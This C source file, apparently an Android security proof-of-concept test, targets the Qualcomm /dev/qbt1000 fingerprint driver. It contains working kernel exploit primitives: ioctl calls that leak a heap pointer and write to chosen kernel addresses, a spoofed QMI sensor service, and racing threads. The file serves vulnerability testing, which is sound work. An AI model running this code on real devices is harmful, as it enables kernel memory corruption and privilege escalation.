1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <errno.h>
18 #include <fcntl.h>
19 #include <pthread.h>
20 #include <stdbool.h>
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <string.h>
24 #include <sys/ioctl.h>
25 #include <sys/socket.h>
26 #include <sys/stat.h>
27 #include <sys/types.h>
28 #include <sys/types.h>
29 #include <unistd.h>
30
31 static const char *dev = "/dev/qbt1000";
32
33 #define QBT1000_SNS_SERVICE_ID 0x138
34 #define QBT1000_SNS_SERVICE_VER_ID 1
35 #define QBT1000_SNS_INSTANCE_INST_ID 0
36
37 #define SNS_QFP_OPEN_RESP_V01 0x0020
38
39 #define QMI_REQUEST_CONTROL_FLAG 0x00
40 #define QMI_RESPONSE_CONTROL_FLAG 0x02
41 #define QMI_INDICATION_CONTROL_FLAG 0x04
42 #define QMI_HEADER_SIZE 7
43
44 #define OPTIONAL_TLV_TYPE_START 0x10
45
46 enum elem_type {
47 QMI_OPT_FLAG = 1,
48 QMI_DATA_LEN,
49 QMI_UNSIGNED_1_BYTE,
50 QMI_UNSIGNED_2_BYTE,
51 QMI_UNSIGNED_4_BYTE,
52 QMI_UNSIGNED_8_BYTE,
53 QMI_SIGNED_2_BYTE_ENUM,
54 QMI_SIGNED_4_BYTE_ENUM,
55 QMI_STRUCT,
56 QMI_STRING,
57 QMI_EOTI,
58 };
59
60 volatile int cont = 1;
61
62 struct qmi_header {
63 unsigned char cntl_flag;
64 uint16_t txn_id;
65 uint16_t msg_id;
66 uint16_t msg_len;
67 } __attribute__((__packed__));
68
69 struct qseecom_handle {
70 void *dev;
71 unsigned char *sbuf;
72 uint32_t sbuf_len;
73 };
74
75 enum qbt1000_commands {
76 QBT1000_LOAD_APP = 100,
77 QBT1000_UNLOAD_APP = 101,
78 QBT1000_SEND_TZCMD = 102
79 };
80
81 struct qbt1000_app {
82 struct qseecom_handle **app_handle;
83 char name[32];
84 uint32_t size;
85 uint8_t high_band_width;
86 };
87
88 struct qbt1000_send_tz_cmd {
89 struct qseecom_handle *app_handle;
90 uint8_t *req_buf;
91 uint32_t req_buf_len;
92 uint8_t *rsp_buf;
93 uint32_t rsp_buf_len;
94 };
95
96 struct msm_ipc_port_addr {
97 uint32_t node_id;
98 uint32_t port_id;
99 };
100
101 struct msm_ipc_port_name {
102 uint32_t service;
103 uint32_t instance;
104 };
105
106 struct msm_ipc_addr {
107 unsigned char addrtype;
108 union {
109 struct msm_ipc_port_addr port_addr;
110 struct msm_ipc_port_name port_name;
111 } addr;
112 };
113
114 #define AF_MSM_IPC 27
115
116 #define PF_MSM_IPCAF_MSM_IPC
117
118 #define MSM_IPC_ADDR_NAME 1
119 #define MSM_IPC_ADDR_ID 2
120
121 struct sockaddr_msm_ipc {
122 unsigned short family;
123 struct msm_ipc_addr address;
124 unsigned char reserved;
125 };
126
127 struct qbt1000_app app = {0};
128
get_fd(const char * dev_node)129 static int get_fd(const char *dev_node) {
130 int fd;
131 fd = open(dev_node, O_RDWR);
132 if (fd < 0) {
133 cont = 0;
134 exit(EXIT_FAILURE);
135 }
136
137 return fd;
138 }
139
leak_heap_ptr(int fd)140 static void leak_heap_ptr(int fd) {
141 void *addr = NULL;
142 app.app_handle = (void *)&addr;
143 app.size = 32;
144 ioctl(fd, QBT1000_LOAD_APP, &app);
145 }
146
arb_kernel_write_load_app(int fd)147 static void arb_kernel_write_load_app(int fd) {
148 struct qbt1000_app app = {0};
149
150 app.app_handle = (void *)0xABADACCE55013337;
151 ioctl(fd, QBT1000_LOAD_APP, &app);
152 }
153
arb_kernel_write_send_tzcmd(int fd)154 static void arb_kernel_write_send_tzcmd(int fd) {
155 struct qseecom_handle hdl = {0};
156 struct qbt1000_send_tz_cmd cmd = {0};
157 int x = 0;
158
159 hdl.sbuf = (void *)0xffffffc0017b1b84;
160 cmd.app_handle = &hdl;
161 cmd.req_buf = &x;
162 cmd.rsp_buf = NULL;
163 cmd.req_buf_len = cmd.rsp_buf_len = 4;
164
165 ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
166 }
167
print_msg(char * msg)168 static void print_msg(char *msg) {
169 int i;
170 for (i = 0; i < 4096; i++) printf("%hx ", msg[i]);
171 printf("\n");
172 }
173
recv_msgs(int fd)174 static void recv_msgs(int fd) {
175 struct msghdr msg = {0};
176 struct iovec io = {0};
177 struct sockaddr_msm_ipc addr = {0};
178 struct msm_ipc_addr address = {0};
179 uint8_t *ptr;
180 struct qmi_header *hdr;
181 int count = 1;
182
183 io.iov_base = malloc(4096);
184 memset(io.iov_base, 0, 4096);
185 io.iov_len = 4096;
186
187 msg.msg_iovlen = 1;
188 msg.msg_iov = &io;
189 msg.msg_name = &addr;
190 msg.msg_namelen = sizeof(addr);
191
192 while (cont) {
193 recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
194 memset(io.iov_base, 0, 128);
195 hdr = io.iov_base;
196
197 hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
198 hdr->txn_id = count++;
199 hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
200 hdr->msg_len = 3;
201
202 ptr = io.iov_base + sizeof(*hdr);
203
204 *ptr = OPTIONAL_TLV_TYPE_START;
205 ptr++;
206 *ptr = 0;
207 ptr++;
208 *ptr = 0;
209 sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
210 }
211 }
212
213 #define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
setup_ipc_server(void)214 static void setup_ipc_server(void) {
215 int fd;
216 struct sockaddr_msm_ipc addr = {0};
217 fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
218
219 if (fd < 0) {
220 printf("Couldn't open socket %s\n", strerror(errno));
221 exit(EXIT_FAILURE);
222 }
223
224 addr.family = AF_MSM_IPC;
225 addr.address.addrtype = MSM_IPC_ADDR_NAME;
226 addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
227 addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
228 QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
229
230 bind(fd, (struct sockaddr *)&addr, sizeof(addr));
231 recv_msgs(fd);
232 }
233
leak_ptr(void * ignore)234 static void *leak_ptr(void *ignore) {
235 void *save;
236 while (cont) {
237 if (app.app_handle != NULL) {
238 save = *app.app_handle;
239 if (save != NULL) {
240 break;
241 }
242 }
243 }
244 return (void *)NULL;
245 }
246
do_ipc_crap(void * ignore)247 static void *do_ipc_crap(void *ignore) {
248 setup_ipc_server();
249 return (void *)NULL;
250 }
251
main(void)252 int main(void) {
253 int fd;
254
255 pthread_t race_car;
256 pthread_t race_car1;
257 pthread_create(&race_car, NULL, do_ipc_crap, NULL);
258 usleep(50000);
259
260 fd = get_fd(dev);
261
262 for (;;) {
263 int err = ioctl(fd, 0, (unsigned long)-4095);
264
265 usleep(5000);
266 }
267 }
268